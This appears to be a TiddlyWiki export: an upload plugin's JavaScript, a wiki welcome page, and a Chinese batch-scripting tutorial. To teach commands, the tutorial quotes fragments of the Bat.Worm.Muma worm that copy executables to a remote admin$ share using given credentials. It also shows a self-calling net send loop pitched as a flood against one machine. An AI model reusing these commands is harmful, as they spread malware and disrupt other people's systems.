%0",\n saveLabel: "save to web", \n saveToDisk: "save to disk",\n uploadLabel: "upload" \n};\n\nconfig.macros.upload.handler = function(place,macroName,params){\n // parameters initialization\n var storeUrl = params[0];\n var toFilename = params[1];\n var backupDir = params[2];\n var uploadDir = params[3];\n var username = params[4];\n var password; // for security reason no password as macro parameter\n var label;\n if (document.location.toString().substr(0,4) == "http")\n label = this.label.saveLabel;\n else\n label = this.label.uploadLabel;\n var prompt;\n if (storeUrl) {\n prompt = this.label.promptParamMacro.toString().format([this.toDirUrl(storeUrl, uploadDir, username)]);\n }\n else {\n prompt = this.label.promptOption;\n }\n createTiddlyButton(place, label, prompt, \n function () {\n config.macros.upload.upload(storeUrl, toFilename, uploadDir, backupDir, username, password); \n return false;}, \n null, null, this.accessKey);\n};\nconfig.macros.upload.UploadLog = function() {\n return new config.lib.Log('UploadLog', " !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |" );\n};\nconfig.macros.upload.UploadLog.prototype = config.lib.Log.prototype;\nconfig.macros.upload.UploadLog.prototype.startUpload = function(storeUrl, toFilename, uploadDir, backupDir) {\n var line = " [[" + config.lib.file.basename(storeUrl) + "|" + storeUrl + "]] | ";\n line += uploadDir + " | " + toFilename + " | " + backupDir + " |";\n this.newLine(line);\n};\nconfig.macros.upload.UploadLog.prototype.endUpload = function() {\n this.addToLine(" Ok |");\n};\nconfig.macros.upload.basename = config.lib.file.basename;\nconfig.macros.upload.dirname = config.lib.file.dirname;\nconfig.macros.upload.toRootUrl = function (storeUrl, username)\n{\n return root = (this.dirname(storeUrl)?this.dirname(storeUrl):this.dirname(document.location.toString()));\n}\nconfig.macros.upload.toDirUrl = function (storeUrl, uploadDir, username)\n{\n var root = this.toRootUrl(storeUrl, username);\n if (uploadDir && uploadDir != '.')\n root = root + '/' + uploadDir;\n return root;\n}\nconfig.macros.upload.toFileUrl = function (storeUrl, toFilename, uploadDir, username)\n{\n return this.toDirUrl(storeUrl, uploadDir, username) + '/' + toFilename;\n}\nconfig.macros.upload.upload = function(storeUrl, toFilename, uploadDir, backupDir, username, password)\n{\n // parameters initialization\n storeUrl = (storeUrl ? storeUrl : config.options.txtUploadStoreUrl);\n toFilename = (toFilename ? toFilename : config.options.txtUploadFilename);\n backupDir = (backupDir ? backupDir : config.options.txtUploadBackupDir);\n uploadDir = (uploadDir ? uploadDir : config.options.txtUploadDir);\n username = (username ? username : config.options.txtUploadUserName);\n password = config.options.pasUploadPassword; // for security reason no password as macro parameter\n if (!password || password === '') {\n alert(config.macros.upload.messages.passwordEmpty);\n return;\n }\n if (storeUrl === '') {\n storeUrl = config.macros.upload.defaultStoreScript;\n }\n if (config.lib.file.dirname(storeUrl) === '') {\n storeUrl = config.lib.file.dirname(document.location.toString())+'/'+storeUrl;\n }\n if (toFilename === '') {\n toFilename = config.lib.file.basename(document.location.toString());\n }\n\n clearMessage();\n // only for forcing the message to display\n if (version.major < 2)\n store.notifyAll();\n if (!storeUrl) {\n alert(config.macros.upload.messages.urlParamMissing);\n return;\n }\n // Check that file is not locked\n if (window.BidiX && BidiX.GroupAuthoring && BidiX.GroupAuthoring.lock) {\n if (BidiX.GroupAuthoring.lock.isLocked() && !BidiX.GroupAuthoring.lock.isMyLock()) {\n alert(config.macros.upload.messages.fileLocked);\n return;\n }\n }\n \n var log = new this.UploadLog();\n log.startUpload(storeUrl, toFilename, uploadDir, backupDir);\n if (document.location.toString().substr(0,5) == "file:") {\n saveChanges();\n }\n var toDir = config.macros.upload.toDirUrl(storeUrl, toFilename, uploadDir, username);\n displayMessage(config.macros.upload.messages.aboutToUpload.format([toDir]), toDir);\n this.uploadChanges(storeUrl, toFilename, uploadDir, backupDir, username, password);\n if(config.options.chkGenerateAnRssFeed) {\n //var rssContent = convertUnicodeToUTF8(generateRss());\n var rssContent = generateRss();\n var rssPath = toFilename.substr(0,toFilename.lastIndexOf(".")) + ".xml";\n this.uploadContent(rssContent, storeUrl, rssPath, uploadDir, '', username, password, \n function (responseText) {\n if (responseText.substring(0,1) != '0') {\n displayMessage(config.macros.upload.messages.rssFileNotUploaded.format([rssPath]));\n }\n else {\n var toFileUrl = config.macros.upload.toFileUrl(storeUrl, rssPath, uploadDir, username);\n displayMessage(config.macros.upload.messages.rssFileUploaded.format(\n [toFileUrl]), toFileUrl);\n }\n // for debugging store.php uncomment last line\n //DEBUG alert(responseText);\n });\n }\n return;\n};\n\nconfig.macros.upload.uploadChanges = function(storeUrl, toFilename, uploadDir, backupDir, \n username, password) {\n var original;\n if (document.location.toString().substr(0,4) == "http") {\n original = this.download(storeUrl, toFilename, uploadDir, backupDir, username, password);\n return;\n }\n else {\n // standard way : Local file\n \n original = loadFile(getLocalPath(document.location.toString()));\n if(window.Components) {\n // it's a mozilla browser\n try {\n netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");\n var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]\n .createInstance(Components.interfaces.nsIScriptableUnicodeConverter);\n converter.charset = "UTF-8";\n original = converter.ConvertToUnicode(original);\n }\n catch(e) {\n }\n }\n }\n //DEBUG alert(original);\n this.uploadChangesFrom(original, storeUrl, toFilename, uploadDir, backupDir, \n username, password);\n};\n\nconfig.macros.upload.uploadChangesFrom = function(original, storeUrl, toFilename, uploadDir, backupDir, \n username, password) {\n var startSaveArea = '<div id="' + 'storeArea">'; // Split up into two so that indexOf() of this source doesn't find it\n var endSaveArea = '</d' + 'iv>';\n // Locate the storeArea div's\n var posOpeningDiv = original.indexOf(startSaveArea);\n var posClosingDiv = original.lastIndexOf(endSaveArea);\n if((posOpeningDiv == -1) || (posClosingDiv == -1))\n {\n alert(config.messages.invalidFileError.format([document.location.toString()]));\n return;\n }\n var revised = original.substr(0,posOpeningDiv + startSaveArea.length) + \n allTiddlersAsHtml() + "\sn\st\st" +\n original.substr(posClosingDiv);\n var newSiteTitle;\n if(version.major < 2){\n newSiteTitle = (getElementText("siteTitle") + " - " + getElementText("siteSubtitle")).htmlEncode();\n } else {\n newSiteTitle = (wikifyPlain ("SiteTitle") + " - " + wikifyPlain ("SiteSubtitle")).htmlEncode();\n }\n\n revised = revised.replaceChunk("<title"+">","</title"+">"," " + newSiteTitle + " ");\n revised = revised.replaceChunk("<!--PRE-HEAD-START--"+">","<!--PRE-HEAD-END--"+">","\sn" + store.getTiddlerText("MarkupPreHead","") + "\sn");\n revised = revised.replaceChunk("<!--POST-HEAD-START--"+">","<!--POST-HEAD-END--"+">","\sn" + store.getTiddlerText("MarkupPostHead","") + "\sn");\n revised = revised.replaceChunk("<!--PRE-BODY-START--"+">","<!--PRE-BODY-END--"+">","\sn" + store.getTiddlerText("MarkupPreBody","") + "\sn");\n revised = revised.replaceChunk("<!--POST-BODY-START--"+">","<!--POST-BODY-END--"+">","\sn" + store.getTiddlerText("MarkupPostBody","") + "\sn");\n\n var response = this.uploadContent(revised, storeUrl, toFilename, uploadDir, backupDir, \n username, password, function (responseText) {\n if (responseText.substring(0,1) != '0') {\n alert(responseText);\n displayMessage(config.macros.upload.messages.fileNotUploaded.format([getLocalPath(document.location.toString())]));\n }\n else {\n if (uploadDir !== '') {\n toFilename = uploadDir + "/" + config.macros.upload.basename(toFilename);\n } else {\n toFilename = config.macros.upload.basename(toFilename);\n }\n var toFileUrl = config.macros.upload.toFileUrl(storeUrl, toFilename, uploadDir, username);\n if (responseText.indexOf("destfile:") > 0) {\n var destfile = responseText.substring(responseText.indexOf("destfile:")+9, \n responseText.indexOf("\sn", responseText.indexOf("destfile:")));\n toFileUrl = config.macros.upload.toRootUrl(storeUrl, username) + '/' + destfile;\n }\n else {\n toFileUrl = config.macros.upload.toFileUrl(storeUrl, toFilename, uploadDir, username);\n }\n displayMessage(config.macros.upload.messages.mainFileUploaded.format(\n [toFileUrl]), toFileUrl);\n if (backupDir && responseText.indexOf("backupfile:") > 0) {\n var backupFile = responseText.substring(responseText.indexOf("backupfile:")+11, \n responseText.indexOf("\sn", responseText.indexOf("backupfile:")));\n toBackupUrl = config.macros.upload.toRootUrl(storeUrl, username) + '/' + backupFile;\n displayMessage(config.macros.upload.messages.backupFileStored.format(\n [toBackupUrl]), toBackupUrl);\n }\n var log = new config.macros.upload.UploadLog();\n log.endUpload();\n store.setDirty(false);\n // erase local lock\n if (window.BidiX && BidiX.GroupAuthoring && BidiX.GroupAuthoring.lock) {\n BidiX.GroupAuthoring.lock.eraseLock();\n // change mtime with new mtime after upload\n var mtime = responseText.substr(responseText.indexOf("mtime:")+6);\n BidiX.GroupAuthoring.lock.mtime = mtime;\n }\n \n \n }\n // for debugging store.php uncomment last line\n //DEBUG alert(responseText);\n }\n );\n};\n\nconfig.macros.upload.uploadContent = function(content, storeUrl, toFilename, uploadDir, backupDir, \n username, password, callbackFn) {\n var boundary = "---------------------------"+"AaB03x"; \n var request;\n try {\n request = new XMLHttpRequest();\n } \n catch (e) { \n request = new ActiveXObject("Msxml2.XMLHTTP"); \n }\n if (window.netscape){\n try {\n if (document.location.toString().substr(0,4) != "http") {\n netscape.security.PrivilegeManager.enablePrivilege('UniversalBrowserRead');}\n }\n catch (e) {}\n } \n //DEBUG alert("user["+config.options.txtUploadUserName+"] password[" + config.options.pasUploadPassword + "]");\n // compose headers data\n var sheader = "";\n sheader += "--" + boundary + "\sr\snContent-disposition: form-data; name=\s"";\n sheader += config.macros.upload.formName +"\s"\sr\sn\sr\sn";\n sheader += "backupDir="+backupDir\n +";user=" + username \n +";password=" + password\n +";uploaddir=" + uploadDir;\n // add lock attributes to sheader\n if (window.BidiX && BidiX.GroupAuthoring && BidiX.GroupAuthoring.lock) {\n var l = BidiX.GroupAuthoring.lock.myLock;\n sheader += ";lockuser=" + l.user\n + ";mtime=" + l.mtime\n + ";locktime=" + l.locktime;\n }\n sheader += ";;\sr\sn"; \n sheader += "\sr\sn" + "--" + boundary + "\sr\sn";\n sheader += "Content-disposition: form-data; name=\s"userfile\s"; filename=\s""+toFilename+"\s"\sr\sn";\n sheader += "Content-Type: " + config.macros.upload.contentType + "\sr\sn";\n sheader += "Content-Length: " + content.length + "\sr\sn\sr\sn";\n // compose trailer data\n var strailer = new String();\n strailer = "\sr\sn--" + boundary + "--\sr\sn";\n //strailer = "--" + boundary + "--\sr\sn";\n var data;\n data = sheader + content + strailer;\n //request.open("POST", storeUrl, true, username, password);\n try {\n request.open("POST", storeUrl, true); \n }\n catch(e) {\n alert(config.macros.upload.messages.crossDomain + "\snError:" +e);\n exit;\n }\n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if (request.status == 200)\n callbackFn(request.responseText);\n else\n alert(config.macros.upload.messages.errorUploadingContent + "\snStatus: "+request.status.statusText);\n }\n };\n request.setRequestHeader("Content-Length",data.length);\n request.setRequestHeader("Content-Type","multipart/form-data; boundary="+boundary);\n request.send(data); \n};\n\n\nconfig.macros.upload.download = function(uploadUrl, uploadToFilename, uploadDir, uploadBackupDir, \n username, password) {\n var request;\n try {\n request = new XMLHttpRequest();\n } \n catch (e) { \n request = new ActiveXObject("Msxml2.XMLHTTP"); \n }\n try {\n if (uploadUrl.substr(0,4) == "http") {\n netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");\n }\n else {\n netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");\n }\n } catch (e) { }\n //request.open("GET", document.location.toString(), true, username, password);\n try {\n request.open("GET", document.location.toString(), true);\n }\n catch(e) {\n alert(config.macros.upload.messages.crossDomain + "\snError:" +e);\n exit;\n }\n \n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if(request.status == 200) {\n config.macros.upload.uploadChangesFrom(request.responseText, uploadUrl, \n uploadToFilename, uploadDir, uploadBackupDir, username, password);\n }\n else\n alert(config.macros.upload.messages.errorDownloading.format(\n [document.location.toString()]) + "\snStatus: "+request.status.statusText);\n }\n };\n request.send(null);\n};\n\n//}}}\n////===\n\n////+++!![Initializations]\n\n//{{{\nconfig.lib.options.init('txtUploadStoreUrl','store.php');\nconfig.lib.options.init('txtUploadFilename','');\nconfig.lib.options.init('txtUploadDir','');\nconfig.lib.options.init('txtUploadBackupDir','');\nconfig.lib.options.init('txtUploadUserName',config.options.txtUserName);\nconfig.lib.options.init('pasUploadPassword','');\nsetStylesheet(\n ".pasOptionInput {width: 11em;}\sn"+\n ".txtOptionInput.txtUploadStoreUrl {width: 25em;}\sn"+\n ".txtOptionInput.txtUploadFilename {width: 25em;}\sn"+\n ".txtOptionInput.txtUploadDir {width: 25em;}\sn"+\n ".txtOptionInput.txtUploadBackupDir {width: 25em;}\sn"+\n "",\n "UploadOptionsStyles");\nif (document.location.toString().substr(0,4) == "http") {\n config.options.chkAutoSave = false; \n saveOptionCookie('chkAutoSave');\n}\nconfig.shadowTiddlers.UploadDoc = "[[Full Documentation|http://tiddlywiki.bidix.info/l#UploadDoc ]]\sn"; \n\n//}}}\n////===\n\n////+++!![Core Hijacking]\n\n//{{{\nconfig.macros.saveChanges.label_orig_UploadPlugin = config.macros.saveChanges.label;\nconfig.macros.saveChanges.label = config.macros.upload.label.saveToDisk;\n\nconfig.macros.saveChanges.handler_orig_UploadPlugin = config.macros.saveChanges.handler;\n\nconfig.macros.saveChanges.handler = function(place)\n{\n if ((!readOnly) && (document.location.toString().substr(0,4) != "http"))\n createTiddlyButton(place,this.label,this.prompt,this.onClick,null,null,this.accessKey);\n};\n\n//}}}\n////===\n\n
[[MptwViewTemplate]]
This is your first wiki. You can use it to create other wikis, or you can just start fooling around with this. \n\n''Login''\nThe first thing you have to do is login. A default username and password of admin/admin have been created for you. You should eventually delete this login and create your own unique admin login information. You login by clicking "mts login >>" on the right, typing in your info and then hitting "login." If you select "Auto Login," you'll never have to do that again. \n\n''Save''\nYou can change this TiddlyWiki like any other. You can then save it by pressing "save changes" on the right. If you don't see "save changes" uncheck this box and refresh.\n<<option chkHttpReadOnly>> HideEditingFeatures when viewed over HTTP\n\n''Admin''\nYou can get to the admin panel by clicking on the backstage. If you are using TW v2.1, or IE (why doesn't the backstage work in IE?), you can access it in the shadow tiddler MTSAdminPanel.\n\n''Modules''\nYou can activate/deactivate installed modules by accessing the panel through the backstage. Again, if you're using v2.1, access the shadow tiddler MTSModulesPanel. You can turn them on or off. \n\n''Starting with a custom TiddlyWiki''\nSoon, I'll reimplement the upload feature, and you'll do it from here. For now, name the custom tiddlywiki "configwiki.html" and upload it to your server, replacing this one. Do NOT replace anything in the Templates folder. However, adding some good starting TWs in your templates folder is a good idea. \n\n''Go Nuts!''\nJust treat this like a normal TiddlyWiki, and edit away! You may want to delete this wiki (and name something else index.php). You can always create another one like this later ("configwiki.html").
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<<<\n在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。\n\n''1、@''\n\n这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。\n\n''2、echo''\n\n中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！\n\necho命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。\necho命令的另一种用法二：可以直接编辑文本文件。例六：\n\n\necho nbtstat -A 192.168.0.1 > a.bat\necho nbtstat -A 192.168.0.2 >> a.bat\necho nbtstat -A 192.168.0.3 >> a.bat\n\n以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。\n\n''3、::''\n\n这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。\n\n''4、pause''\n\n中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。\n\n''5、:和goto''\n\n为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到 goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。\n\ngoto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：\n\n……\ngoto end\n……\n:end\n\n这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。\n\n''6、%''\n\n这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：\n\nnet use \s\s%1\sipc$ %3 /u:"%2"\ncopy 11.BAT \s\s%1\sadmin$\ssystem32 /y\ncopy 13.BAT \s\s%1\sadmin$\ssystem32 /y\ncopy ipc2.BAT \s\s%1\sadmin$\ssystem32 /y\ncopy NWZI.EXE \s\s%1\sadmin$\ssystem32 /y\nattrib \s\s%1\sadmin$\ssystem32\s10.bat -r -h -s\n\n以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。\n\n关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！\n\n这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的 DOS部分用批处理来自动化完成了。\n\n烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！\n曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。\n\n批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！\n\n''7、if''\n\n接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。\n\n(1)、输入判断。还是用例五里面的那几句吧：\n\nif "%1"=="" goto usage\nif "%1"=="/?" goto usage\nif "%1"=="help" goto usage\n\n这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/? 或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。\n\n(2)、存在判断。再看例二里这句：\n\nif exist C:\sProgra~1\sTencent\sAD\s*.gif del C:\sProgra~1\sTencent\sAD\s*.gif\n\n如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\sProgra~1\sTencent\sAD\s*.gif exit。只是多一个not来表示否定而已。\n\n(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：\n\nmasm %1.asm\nif errorlevel 1 pause & edit %1.asm\nlink %1.obj\n\n先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和 if命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause & edit %1.asm部分）。\n\n另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：\n\n \n\nmasm %1.asm\nif not errorlevel 1 link %1.obj\npause & edit %1.asm\n\n看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。\n\n这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成：\n\nmasm %1.asm\nif exist %1.obj link %1.obj\nelse pause & edit %1.asm\n\n关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。\n\nIF [NOT] ERRORLEVEL number do command\nIF [NOT] string1==string2 do command\nIF [NOT] EXIST filename do command\n8、call\n\n学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：\n\nstart.bat：\n……\nCALL 10.BAT 0\n……\n\n10.bat：\n……\nECHO %IPA%.%1 >HFIND.TMP\n……\nCALL ipc.bat IPCFind.txt\n\nipc.bat：\nfor /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k\n\n有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。\n\n在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中， ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。\n那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）：\n\nnet send %1 This is a call example.\ncall a.bat\n\n这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。\n\n给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：\n\ncall a.bat\n\n一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。\n\n''9、find''\n\n这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：\n\n@echo off\nnetstat -a -n > a.txt\ntype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"\ndel a.txt\npause & exit\n\n先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的 type命令了。\n\n至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。\n\n''10、for、set、shift''\n\n为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究 Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：\n\n@echo off\nfor /? > for.txt\nset /? > set.txt\nshift /? 